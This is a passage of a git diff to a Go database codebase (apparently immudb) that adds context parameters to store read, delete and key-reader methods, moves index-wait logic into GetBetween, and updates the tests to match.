embedded/sql/catalog.go | 37 ++-- embedded/sql/engine.go | 6 +- embedded/sql/row_reader.go | 4 +- embedded/sql/sql_tx.go | 12 +- embedded/sql/stmt.go | 16 +- embedded/store/immustore.go | 57 +++--- embedded/store/immustore_test.go | 200 +++++++++++----------- embedded/store/indexer.go | 15 ++ embedded/store/key_reader.go | 23 +-- embedded/store/key_reader_test.go | 16 +- embedded/store/ongoing_tx.go | 32 ++-- embedded/store/ongoing_tx_keyreader.go | 15 +- embedded/store/ongoing_tx_test.go | 11 +- embedded/store/preconditions.go | 15 +- embedded/tbtree/tbtree.go | 2 +- embedded/tools/stress_tool/stress_tool.go | 2 +- 18 files changed, 252 insertions(+), 233 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index b8e940d720..c2a8239f76 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -839,12 +839,7 @@ func (e *Engine) ReplaceDocuments(ctx context.Context, query *protomodel.Query, return nil, err } - err = e.sqlEngine.GetStore().WaitForIndexingUpto(ctx, txID) - if err != nil { - return nil, err - } - - encDoc, err := e.getEncodedDocument(searchKey, 0) + encDoc, err := e.getEncodedDocument(ctx, searchKey, txID) if err != nil { return nil, err } @@ -964,7 +959,7 @@ func (e *Engine) GetEncodedDocument(ctx context.Context, collectionName string, return 0, "", nil, err } - encodedDoc, err = e.getEncodedDocument(searchKey, txID) + encodedDoc, err = e.getEncodedDocument(ctx, searchKey, txID) if err != nil { return 0, "", nil, err } @@ -1193,14 +1188,8 @@ func (e *Engine) getDocument(key []byte, valRef store.ValueRef) (docAtRevision * }, err } -func (e *Engine) getEncodedDocument(key []byte, atTx uint64) (encDoc *EncodedDocument, err error) { - var valRef store.ValueRef - - if atTx == 0 { - valRef, err = e.sqlEngine.GetStore().Get(key) - } else { - valRef, err = e.sqlEngine.GetStore().GetBetween(key, atTx, atTx) - } +func (e *Engine) getEncodedDocument(ctx context.Context, key []byte, atTx uint64) (encDoc *EncodedDocument, err error) { + valRef, err := e.sqlEngine.GetStore().GetBetween(ctx, key, atTx, atTx) if errors.Is(err, store.ErrKeyNotFound) { return nil, ErrDocumentNotFound } diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index a2dc714c5c..b9150d7ed6 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -526,6 +526,9 @@ func TestDocumentAudit(t *testing.T) { require.Len(t, revisions, 1) require.Equal(t, uint64(2), revisions[0].Revision) + err = engine.sqlEngine.GetStore().WaitForIndexingUpto(context.Background(), revisions[0].TransactionId) + require.NoError(t, err) + t.Run("get encoded document should pass with valid docID", func(t *testing.T) { _, field, doc, err := engine.GetEncodedDocument(context.Background(), collectionName, docID, 0) require.NoError(t, err) diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index c4d1bfb410..fcf9584e52 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -18,6 +18,7 @@ package sql import ( "bytes" + "context" "encoding/binary" "errors" "fmt" @@ -483,7 +484,7 @@ func validMaxLenForType(maxLen int, sqlType SQLValueType) bool { return maxLen >= 0 } -func (catlg *Catalog) load(tx *store.OngoingTx) error { +func (catlg *Catalog) load(ctx context.Context, tx *store.OngoingTx) error { dbReaderSpec := store.KeyReaderSpec{ Prefix: MapKey(catlg.enginePrefix, catalogTablePrefix, EncodeID(1)), Filters: []store.FilterFn{store.IgnoreExpired}, @@ -496,7 +497,7 @@ func (catlg *Catalog) load(tx *store.OngoingTx) error { defer tableReader.Close() for { - mkey, vref, err := tableReader.Read() + mkey, vref, err := tableReader.Read(ctx) if errors.Is(err, store.ErrNoMoreEntries) { break } @@ -523,7 +524,7 @@ func (catlg *Catalog) load(tx *store.OngoingTx) error { continue } - colSpecs, err := loadColSpecs(dbID, tableID, tx, catlg.enginePrefix) + colSpecs, err := loadColSpecs(ctx, dbID, tableID, tx, catlg.enginePrefix) if err != nil { return err } @@ -542,7 +543,7 @@ func (catlg *Catalog) load(tx *store.OngoingTx) error { return ErrCorruptedData } - err = table.loadIndexes(catlg.enginePrefix, tx) + err = table.loadIndexes(ctx, catlg.enginePrefix, tx) if err != nil { return err } @@ -551,7 +552,7 @@ func (catlg *Catalog) load(tx *store.OngoingTx) error { return nil } -func loadMaxPK(sqlPrefix []byte, tx *store.OngoingTx, table *Table) ([]byte, error) { +func loadMaxPK(ctx context.Context, sqlPrefix []byte, tx *store.OngoingTx, table *Table) ([]byte, error) { pkReaderSpec := store.KeyReaderSpec{ Prefix: MapKey(sqlPrefix, MappedPrefix, EncodeID(table.id), EncodeID(table.primaryIndex.id)), DescOrder: true, @@ -563,7 +564,7 @@ func loadMaxPK(sqlPrefix []byte, tx *store.OngoingTx, table *Table) ([]byte, err } defer pkReader.Close() - mkey, _, err := pkReader.Read() + mkey, _, err := pkReader.Read(ctx) if err != nil { return nil, err } @@ -571,7 +572,7 @@ func loadMaxPK(sqlPrefix []byte, tx *store.OngoingTx, table *Table) ([]byte, err return unmapIndexEntry(table.primaryIndex, sqlPrefix, mkey) } -func loadColSpecs(dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte) (specs []*ColSpec, err error) { +func loadColSpecs(ctx context.Context, dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte) (specs []*ColSpec, err error) { initialKey := MapKey(sqlPrefix, catalogColumnPrefix, EncodeID(dbID), EncodeID(tableID)) dbReaderSpec := store.KeyReaderSpec{ @@ -588,7 +589,7 @@ func loadColSpecs(dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte) ( specs = make([]*ColSpec, 0) for { - mkey, vref, err := colSpecReader.Read() + mkey, vref, err := colSpecReader.Read(ctx) if errors.Is(err, store.ErrNoMoreEntries) { break } @@ -631,7 +632,7 @@ func loadColSpecs(dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte) ( return } -func (table *Table) loadIndexes(sqlPrefix []byte, tx *store.OngoingTx) error { +func (table *Table) loadIndexes(ctx context.Context, sqlPrefix []byte, tx *store.OngoingTx) error { initialKey := MapKey(sqlPrefix, catalogIndexPrefix, EncodeID(1), EncodeID(table.id)) idxReaderSpec := store.KeyReaderSpec{ @@ -646,7 +647,7 @@ func (table *Table) loadIndexes(sqlPrefix []byte, tx *store.OngoingTx) error { defer idxSpecReader.Close() for { - mkey, vref, err := idxSpecReader.Read() + mkey, vref, err := idxSpecReader.Read(ctx) if errors.Is(err, store.ErrNoMoreEntries) { break } @@ -1239,7 +1240,7 @@ func DecodeValue(b []byte, colType SQLValueType) (TypedValue, int, error) { } // addSchemaToTx adds the schema to the ongoing transaction. -func (t *Table) addIndexesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { +func (t *Table) addIndexesToTx(ctx context.Context, sqlPrefix []byte, tx *store.OngoingTx) error { initialKey := MapKey(sqlPrefix, catalogIndexPrefix, EncodeID(1), EncodeID(t.id)) idxReaderSpec := store.KeyReaderSpec{ @@ -1254,7 +1255,7 @@ func (t *Table) addIndexesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { defer idxSpecReader.Close() for { - mkey, vref, err := idxSpecReader.Read() + mkey, vref, err := idxSpecReader.Read(ctx) if errors.Is(err, store.ErrNoMoreEntries) { break } @@ -1289,7 +1290,7 @@ func (t *Table) addIndexesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { } // addSchemaToTx adds the schema of the catalog to the given transaction. -func (catlg *Catalog) addSchemaToTx(sqlPrefix []byte, tx *store.OngoingTx) error { +func (catlg *Catalog) addSchemaToTx(ctx context.Context, sqlPrefix []byte, tx *store.OngoingTx) error { dbReaderSpec := store.KeyReaderSpec{ Prefix: MapKey(sqlPrefix, catalogTablePrefix, EncodeID(1)), Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, @@ -1302,7 +1303,7 @@ func (catlg *Catalog) addSchemaToTx(sqlPrefix []byte, tx *store.OngoingTx) error defer tableReader.Close() for { - mkey, vref, err := tableReader.Read() + mkey, vref, err := tableReader.Read(ctx) if errors.Is(err, store.ErrNoMoreEntries) { break } @@ -1320,7 +1321,7 @@ func (catlg *Catalog) addSchemaToTx(sqlPrefix []byte, tx *store.OngoingTx) error } // read col specs into tx - colSpecs, err := addColSpecsToTx(tx, sqlPrefix, tableID) + colSpecs, err := addColSpecsToTx(ctx, tx, sqlPrefix, tableID) if err != nil { return err } @@ -1348,7 +1349,7 @@ func (catlg *Catalog) addSchemaToTx(sqlPrefix []byte, tx *store.OngoingTx) error } // read index specs into tx - err = table.addIndexesToTx(sqlPrefix, tx) + err = table.addIndexesToTx(ctx, sqlPrefix, tx) if err != nil { return err } @@ -1359,7 +1360,7 @@ func (catlg *Catalog) addSchemaToTx(sqlPrefix []byte, tx *store.OngoingTx) error } // addColSpecsToTx adds the column specs of the given table to the given transaction. -func addColSpecsToTx(tx *store.OngoingTx, sqlPrefix []byte, tableID uint32) (specs []*ColSpec, err error) { +func addColSpecsToTx(ctx context.Context, tx *store.OngoingTx, sqlPrefix []byte, tableID uint32) (specs []*ColSpec, err error) { initialKey := MapKey(sqlPrefix, catalogColumnPrefix, EncodeID(1), EncodeID(tableID)) dbReaderSpec := store.KeyReaderSpec{ @@ -1376,7 +1377,7 @@ func addColSpecsToTx(tx *store.OngoingTx, sqlPrefix []byte, tableID uint32) (spe specs = make([]*ColSpec, 0) for { - mkey, vref, err := colSpecReader.Read() + mkey, vref, err := colSpecReader.Read(ctx) if errors.Is(err, store.ErrNoMoreEntries) { break } diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index 36aa9a6e4b..ab2a0d33b8 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -174,7 +174,7 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { catalog := newCatalog(e.prefix) - err = catalog.load(tx) + err = catalog.load(ctx, tx) if err != nil { return nil, err } @@ -234,7 +234,7 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { } if table.autoIncrementPK { - encMaxPK, err := loadMaxPK(e.prefix, tx, table) + encMaxPK, err := loadMaxPK(ctx, e.prefix, tx, table) if errors.Is(err, store.ErrNoMoreEntries) { continue } @@ -606,7 +606,7 @@ func (e *Engine) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error catalog := newCatalog(e.prefix) - err := catalog.addSchemaToTx(e.prefix, tx) + err := catalog.addSchemaToTx(ctx, e.prefix, tx) if err != nil { return err } diff --git a/embedded/sql/row_reader.go b/embedded/sql/row_reader.go index fdd806b8ad..693da7de5e 100644 --- a/embedded/sql/row_reader.go +++ b/embedded/sql/row_reader.go @@ -381,9 +381,9 @@ func (r *rawRowReader) Read(ctx context.Context) (row *Row, err error) { } if r.txRange == nil { - _, vref, err = r.reader.Read() //mkey + _, vref, err = r.reader.Read(ctx) //mkey } else { - _, vref, err = r.reader.ReadBetween(r.txRange.initialTxID, r.txRange.finalTxID) //mkey + _, vref, err = r.reader.ReadBetween(ctx, r.txRange.initialTxID, r.txRange.finalTxID) //mkey } if err != nil { return nil, err diff --git a/embedded/sql/sql_tx.go b/embedded/sql/sql_tx.go index 754b5ba39e..90145655da 100644 --- a/embedded/sql/sql_tx.go +++ b/embedded/sql/sql_tx.go @@ -93,8 +93,8 @@ func (sqlTx *SQLTx) newKeyReader(rSpec store.KeyReaderSpec) (store.KeyReader, er return sqlTx.tx.NewKeyReader(rSpec) } -func (sqlTx *SQLTx) get(key []byte) (store.ValueRef, error) { - return sqlTx.tx.Get(key) +func (sqlTx *SQLTx) get(ctx context.Context, key []byte) (store.ValueRef, error) { + return sqlTx.tx.Get(ctx, key) } func (sqlTx *SQLTx) set(key []byte, metadata *store.KVMetadata, value []byte) error { @@ -105,8 +105,8 @@ func (sqlTx *SQLTx) setTransient(key []byte, metadata *store.KVMetadata, value [ return sqlTx.tx.SetTransient(key, metadata, value) } -func (sqlTx *SQLTx) getWithPrefix(prefix, neq []byte) (key []byte, valRef store.ValueRef, err error) { - return sqlTx.tx.GetWithPrefix(prefix, neq) +func (sqlTx *SQLTx) getWithPrefix(ctx context.Context, prefix, neq []byte) (key []byte, valRef store.ValueRef, err error) { + return sqlTx.tx.GetWithPrefix(ctx, prefix, neq) } func (sqlTx *SQLTx) Cancel() error { @@ -136,6 +136,6 @@ func (sqlTx *SQLTx) Committed() bool { return sqlTx.txHeader != nil } -func (sqlTx *SQLTx) delete(key []byte) error { - return sqlTx.tx.Delete(key) +func (sqlTx *SQLTx) delete(ctx context.Context, key []byte) error { + return sqlTx.tx.Delete(ctx, key) } diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 99d47afb99..1c403ab01b 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -394,7 +394,7 @@ func (stmt *CreateIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[s if stmt.unique && table.primaryIndex != nil { // check table is empty pkPrefix := MapKey(tx.sqlPrefix(), MappedPrefix, EncodeID(table.id), EncodeID(table.primaryIndex.id)) - _, _, err := tx.getWithPrefix(pkPrefix, nil) + _, _, err := tx.getWithPrefix(ctx, pkPrefix, nil) if errors.Is(err, store.ErrIndexNotFound) { return nil, ErrTableDoesNotExist } @@ -674,7 +674,7 @@ func (stmt *UpsertIntoStmt) execAt(ctx context.Context, tx *SQLTx, params map[st // pk entry mappedPKey := MapKey(tx.sqlPrefix(), MappedPrefix, EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals, pkEncVals) - _, err = tx.get(mappedPKey) + _, err = tx.get(ctx, mappedPKey) if err != nil && !errors.Is(err, store.ErrKeyNotFound) { return nil, err } @@ -831,7 +831,7 @@ func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID m // no other equivalent entry should be already indexed if index.IsUnique() { - _, valRef, err := tx.getWithPrefix(smkey, nil) + _, valRef, err := tx.getWithPrefix(ctx, smkey, nil) if err == nil && (valRef.KVMetadata() == nil || !valRef.KVMetadata().Deleted()) { return store.ErrKeyAlreadyExists } else if !errors.Is(err, store.ErrKeyNotFound) { @@ -1130,7 +1130,7 @@ func (stmt *UpdateStmt) execAt(ctx context.Context, tx *SQLTx, params map[string mkey := MapKey(tx.sqlPrefix(), MappedPrefix, EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals, pkEncVals) // mkey must exist - _, err = tx.get(mkey) + _, err = tx.get(ctx, mkey) if err != nil { return nil, err } @@ -4079,7 +4079,7 @@ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[str EncodeID(1), EncodeID(table.id), ) - err = tx.delete(mappedKey) + err = tx.delete(ctx, mappedKey) if err != nil { return nil, err } @@ -4095,7 +4095,7 @@ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[str EncodeID(col.id), []byte(col.colType), ) - err = tx.delete(mappedKey) + err = tx.delete(ctx, mappedKey) if err != nil { return nil, err } @@ -4111,7 +4111,7 @@ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[str EncodeID(table.id), EncodeID(index.id), ) - err = tx.delete(mappedKey) + err = tx.delete(ctx, mappedKey) if err != nil { return nil, err } @@ -4195,7 +4195,7 @@ func (stmt *DropIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[str EncodeID(table.id), EncodeID(index.id), ) - err = tx.delete(mappedKey) + err = tx.delete(ctx, mappedKey) if err != nil { return nil, err } diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index cf04f3ab21..269c86dc7d 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -906,7 +906,7 @@ func (s *ImmuStore) DeleteIndex(prefix []byte) error { return os.RemoveAll(indexer.path) } -func (s *ImmuStore) GetBetween(key []byte, initialTxID uint64, finalTxID uint64) (valRef ValueRef, err error) { +func (s *ImmuStore) GetBetween(ctx context.Context, key []byte, initialTxID uint64, finalTxID uint64) (valRef ValueRef, err error) { indexer, err := s.getIndexerFor(key) if err != nil { if errors.Is(err, ErrIndexNotFound) { @@ -915,7 +915,12 @@ func (s *ImmuStore) GetBetween(key []byte, initialTxID uint64, finalTxID uint64) return nil, err } - indexedVal, tx, hc, err := indexer.index.GetBetween(key, initialTxID, finalTxID) + err = indexer.WaitForIndexingUpto(ctx, finalTxID) + if err != nil { + return nil, err + } + + indexedVal, tx, hc, err := indexer.GetBetween(key, initialTxID, finalTxID) if err != nil { return nil, err } @@ -923,11 +928,11 @@ func (s *ImmuStore) GetBetween(key []byte, initialTxID uint64, finalTxID uint64) return s.valueRefFrom(tx, hc, indexedVal) } -func (s *ImmuStore) Get(key []byte) (valRef ValueRef, err error) { - return s.GetWithFilters(key, IgnoreExpired, IgnoreDeleted) +func (s *ImmuStore) Get(ctx context.Context, key []byte) (valRef ValueRef, err error) { + return s.GetWithFilters(ctx, key, IgnoreExpired, IgnoreDeleted) } -func (s *ImmuStore) GetWithFilters(key []byte, filters ...FilterFn) (valRef ValueRef, err error) { +func (s *ImmuStore) GetWithFilters(ctx context.Context, key []byte, filters ...FilterFn) (valRef ValueRef, err error) { indexer, err := s.getIndexerFor(key) if err != nil { if errors.Is(err, ErrIndexNotFound) { @@ -962,11 +967,11 @@ func (s *ImmuStore) GetWithFilters(key []byte, filters ...FilterFn) (valRef Valu return valRef, nil } -func (s *ImmuStore) GetWithPrefix(prefix []byte, neq []byte) (key []byte, valRef ValueRef, err error) { - return s.GetWithPrefixAndFilters(prefix, neq, IgnoreExpired, IgnoreDeleted) +func (s *ImmuStore) GetWithPrefix(ctx context.Context, prefix []byte, neq []byte) (key []byte, valRef ValueRef, err error) { + return s.GetWithPrefixAndFilters(ctx, prefix, neq, IgnoreExpired, IgnoreDeleted) } -func (s *ImmuStore) GetWithPrefixAndFilters(prefix []byte, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) { +func (s *ImmuStore) GetWithPrefixAndFilters(ctx context.Context, prefix []byte, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) { indexer, err := s.getIndexerFor(prefix) if err != nil { if errors.Is(err, ErrIndexNotFound) { @@ -1070,7 +1075,7 @@ func (s *ImmuStore) syncSnapshot(prefix []byte) (*Snapshot, error) { return nil, err } - snap, err := indexer.index.SyncSnapshot() + snap, err := indexer.SyncSnapshot() if err != nil { return nil, err } @@ -1690,7 +1695,7 @@ func (s *ImmuStore) precommit(ctx context.Context, otx *OngoingTx, hdr *TxHeader return nil, err } - err = otx.checkPreconditions(s) + err = otx.checkPreconditions(ctx, s) if err != nil { return nil, err } @@ -2125,35 +2130,35 @@ func (s *ImmuStore) CommitWith(ctx context.Context, callback func(txID uint64, i } type KeyIndex interface { - Get(key []byte) (valRef ValueRef, err error) - GetBetween(key []byte, initialTxID, finalTxID uint64) (valRef ValueRef, err error) - GetWithFilters(key []byte, filters ...FilterFn) (valRef ValueRef, err error) - GetWithPrefix(prefix []byte, neq []byte) (key []byte, valRef ValueRef, err error) - GetWithPrefixAndFilters(prefix []byte, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) + Get(ctx context.Context, key []byte) (valRef ValueRef, err error) + GetBetween(ctx context.Context, key []byte, initialTxID, finalTxID uint64) (valRef ValueRef, err error) + GetWithFilters(ctx context.Context, key []byte, filters ...FilterFn) (valRef ValueRef, err error) + GetWithPrefix(ctx context.Context, prefix []byte, neq []byte) (key []byte, valRef ValueRef, err error) + GetWithPrefixAndFilters(ctx context.Context, prefix []byte, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) } type unsafeIndex struct { st *ImmuStore } -func (index *unsafeIndex) Get(key []byte) (ValueRef, error) { - return index.GetWithFilters(key, IgnoreDeleted, IgnoreExpired) +func (index *unsafeIndex) Get(ctx context.Context, key []byte) (ValueRef, error) { + return index.GetWithFilters(ctx, key, IgnoreDeleted, IgnoreExpired) } -func (index *unsafeIndex) GetBetween(key []byte, initialTxID, finalTxID uint64) (valRef ValueRef, err error) { - return index.st.GetBetween(key, initialTxID, finalTxID) +func (index *unsafeIndex) GetBetween(ctx context.Context, key []byte, initialTxID, finalTxID uint64) (valRef ValueRef, err error) { + return index.st.GetBetween(ctx, key, initialTxID, finalTxID) } -func (index *unsafeIndex) GetWithFilters(key []byte, filters ...FilterFn) (ValueRef, error) { - return index.st.GetWithFilters(key, filters...) +func (index *unsafeIndex) GetWithFilters(ctx context.Context, key []byte, filters ...FilterFn) (ValueRef, error) { + return index.st.GetWithFilters(ctx, key, filters...) } -func (index *unsafeIndex) GetWithPrefix(prefix []byte, neq []byte) (key []byte, valRef ValueRef, err error) { - return index.st.GetWithPrefixAndFilters(prefix, neq, IgnoreDeleted, IgnoreExpired) +func (index *unsafeIndex) GetWithPrefix(ctx context.Context, prefix []byte, neq []byte) (key []byte, valRef ValueRef, err error) { + return index.st.GetWithPrefixAndFilters(ctx, prefix, neq, IgnoreDeleted, IgnoreExpired) } -func (index *unsafeIndex) GetWithPrefixAndFilters(prefix []byte, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) { - return index.st.GetWithPrefixAndFilters(prefix, neq, filters...) +func (index *unsafeIndex) GetWithPrefixAndFilters(ctx context.Context, prefix []byte, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) { + return index.st.GetWithPrefixAndFilters(ctx, prefix, neq, filters...) } func (s *ImmuStore) preCommitWith(ctx context.Context, callback func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error)) (*TxHeader, error) { @@ -2214,7 +2219,7 @@ func (s *ImmuStore) preCommitWith(ctx context.Context, callback func(txID uint64 return nil, err } - err = otx.checkPreconditions(s) + err = otx.checkPreconditions(ctx, s) if err != nil { return nil, err } diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 7220be8d63..4758e218fb 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -1013,7 +1013,7 @@ func TestImmudbStoreIndexing(t *testing.T) { v := make([]byte, 8) binary.BigEndian.PutUint64(v, snap.Ts()-1) - valRef, err := snap.Get(k) + valRef, err := snap.Get(context.Background(), k) if err != nil { require.ErrorIs(t, err, tbtree.ErrKeyNotFound) continue @@ -1029,13 +1029,13 @@ func TestImmudbStoreIndexing(t *testing.T) { k := make([]byte, 8) binary.BigEndian.PutUint64(k, uint64(eCount-1)) - _, valRef1, err := immuStore.GetWithPrefix(k, nil) + _, valRef1, err := immuStore.GetWithPrefix(context.Background(), k, nil) require.NoError(t, err) v1, err := valRef1.Resolve() require.NoError(t, err) - valRef2, err := snap.Get(k) + valRef2, err := snap.Get(context.Background(), k) require.NoError(t, err) v2, err := valRef2.Resolve() @@ -1083,7 +1083,7 @@ func TestImmudbStoreIndexing(t *testing.T) { _, err = tx.Commit(context.Background()) require.NoError(t, err) - valRef, err := immuStore.Get([]byte("key")) + valRef, err := immuStore.Get(context.Background(), []byte("key")) require.NoError(t, err) val, err := valRef.Resolve() @@ -1122,13 +1122,13 @@ func TestImmudbStoreRWTransactions(t *testing.T) { err = tx.Set([]byte{1, 2, 3}, nil, []byte{3, 2, 1, 0}) require.NoError(t, err) - _, err = tx.Get([]byte{1, 2, 3}) + _, err = tx.Get(context.Background(), []byte{1, 2, 3}) require.ErrorIs(t, err, ErrWriteOnlyTx) - _, _, err = tx.GetWithPrefix([]byte{1}, []byte{1}) + _, _, err = tx.GetWithPrefix(context.Background(), []byte{1}, []byte{1}) require.ErrorIs(t, err, ErrWriteOnlyTx) - err = tx.Delete([]byte{1, 2, 3}) + err = tx.Delete(context.Background(), []byte{1, 2, 3}) require.ErrorIs(t, err, ErrWriteOnlyTx) _, err = tx.NewKeyReader(KeyReaderSpec{}) @@ -1154,7 +1154,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) - _, err = tx.Get([]byte{1, 2, 3}) + _, err = tx.Get(context.Background(), []byte{1, 2, 3}) require.ErrorIs(t, err, ErrWriteOnlyTx) err = tx.Cancel() @@ -1166,7 +1166,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { _, err = tx.Commit(context.Background()) require.ErrorIs(t, err, ErrAlreadyClosed) - valRef, err := immuStore.Get([]byte{1, 2, 3}) + valRef, err := immuStore.Get(context.Background(), []byte{1, 2, 3}) require.NoError(t, err) require.Equal(t, uint64(1), valRef.Tx()) require.Equal(t, uint64(1), valRef.HC()) @@ -1181,37 +1181,37 @@ func TestImmudbStoreRWTransactions(t *testing.T) { }) t.Run("read-your-own-writes should be possible before commit", func(t *testing.T) { - _, err := immuStore.Get([]byte("key1")) + _, err := immuStore.Get(context.Background(), []byte("key1")) require.ErrorIs(t, err, embedded.ErrKeyNotFound) tx, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - _, err = tx.Get([]byte("key1")) + _, err = tx.Get(context.Background(), []byte("key1")) require.ErrorIs(t, err, embedded.ErrKeyNotFound) err = tx.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) - _, err = tx.GetWithFilters([]byte("key1"), nil) + _, err = tx.GetWithFilters(context.Background(), []byte("key1"), nil) require.ErrorIs(t, err, ErrIllegalArguments) - _, _, err = tx.GetWithPrefixAndFilters([]byte("key1"), nil, nil) + _, _, err = tx.GetWithPrefixAndFilters(context.Background(), []byte("key1"), nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) - key, valRef, err := tx.GetWithPrefix([]byte("key1"), []byte("key")) + key, valRef, err := tx.GetWithPrefix(context.Background(), []byte("key1"), []byte("key")) require.NoError(t, err) require.NotNil(t, key) require.NotNil(t, valRef) - _, _, err = tx.GetWithPrefix([]byte("key1"), []byte("key1")) + _, _, err = tx.GetWithPrefix(context.Background(), []byte("key1"), []byte("key1")) require.ErrorIs(t, err, embedded.ErrKeyNotFound) r, err := tx.NewKeyReader(KeyReaderSpec{Prefix: []byte("key")}) require.NoError(t, err) require.NotNil(t, r) - k, _, err := r.Read() + k, _, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, []byte("key1"), k) @@ -1221,7 +1221,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { err = r.Close() require.NoError(t, err) - valRef, err = tx.Get([]byte("key1")) + valRef, err = tx.Get(context.Background(), []byte("key1")) require.NoError(t, err) require.Equal(t, uint64(0), valRef.Tx()) require.Equal(t, uint64(1), valRef.HC()) @@ -1234,16 +1234,16 @@ func TestImmudbStoreRWTransactions(t *testing.T) { require.NoError(t, err) require.Equal(t, []byte("value1"), v) - _, err = immuStore.Get([]byte("key1")) + _, err = immuStore.Get(context.Background(), []byte("key1")) require.ErrorIs(t, err, embedded.ErrKeyNotFound) _, err = tx.Commit(context.Background()) require.NoError(t, err) - _, _, err = tx.GetWithPrefix([]byte("key1"), []byte("key1")) + _, _, err = tx.GetWithPrefix(context.Background(), []byte("key1"), []byte("key1")) require.ErrorIs(t, err, ErrAlreadyClosed) - valRef, err = immuStore.Get([]byte("key1")) + valRef, err = immuStore.Get(context.Background(), []byte("key1")) require.NoError(t, err) require.NotNil(t, valRef) require.Equal(t, uint64(2), valRef.Tx()) @@ -1272,7 +1272,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { _, err = tx2.Commit(context.Background()) require.NoError(t, err) - valRef, err := immuStore.Get([]byte("key1")) + valRef, err := immuStore.Get(context.Background(), []byte("key1")) require.NoError(t, err) require.NotNil(t, valRef) require.Equal(t, uint64(4), valRef.Tx()) @@ -1304,7 +1304,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { _, err = tx2.Commit(context.Background()) require.NoError(t, err) - valRef, err := immuStore.Get([]byte("key1")) + valRef, err := immuStore.Get(context.Background(), []byte("key1")) require.NoError(t, err) require.NotNil(t, valRef) require.Equal(t, uint64(6), valRef.Tx()) @@ -1333,7 +1333,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { _, err = tx2.Commit(context.Background()) require.NoError(t, err) - valRef, err := immuStore.Get([]byte("key1")) + valRef, err := immuStore.Get(context.Background(), []byte("key1")) require.NoError(t, err) require.NotNil(t, valRef) require.Equal(t, uint64(7), valRef.Tx()) @@ -1347,10 +1347,10 @@ func TestImmudbStoreRWTransactions(t *testing.T) { tx, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - err = tx.Delete([]byte{1, 2, 3}) + err = tx.Delete(context.Background(), []byte{1, 2, 3}) require.NoError(t, err) - err = tx.Delete([]byte{1, 2, 3}) + err = tx.Delete(context.Background(), []byte{1, 2, 3}) require.ErrorIs(t, err, ErrKeyNotFound) r, err := tx.NewKeyReader(KeyReaderSpec{ @@ -1360,7 +1360,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { require.NoError(t, err) require.NotNil(t, r) - _, _, err = r.Read() + _, _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreEntries) err = r.Close() @@ -1369,16 +1369,16 @@ func TestImmudbStoreRWTransactions(t *testing.T) { _, err = tx.Commit(context.Background()) require.NoError(t, err) - _, err = immuStore.Get([]byte{1, 2, 3}) + _, err = immuStore.Get(context.Background(), []byte{1, 2, 3}) require.ErrorIs(t, err, ErrKeyNotFound) - _, err = immuStore.GetWithFilters([]byte{1, 2, 3}, nil) + _, err = immuStore.GetWithFilters(context.Background(), []byte{1, 2, 3}, nil) require.ErrorIs(t, err, ErrIllegalArguments) - _, _, err = immuStore.GetWithPrefixAndFilters([]byte{1, 2, 3}, nil, nil) + _, _, err = immuStore.GetWithPrefixAndFilters(context.Background(), []byte{1, 2, 3}, nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) - valRef, err := immuStore.GetWithFilters([]byte{1, 2, 3}) + valRef, err := immuStore.GetWithFilters(context.Background(), []byte{1, 2, 3}) 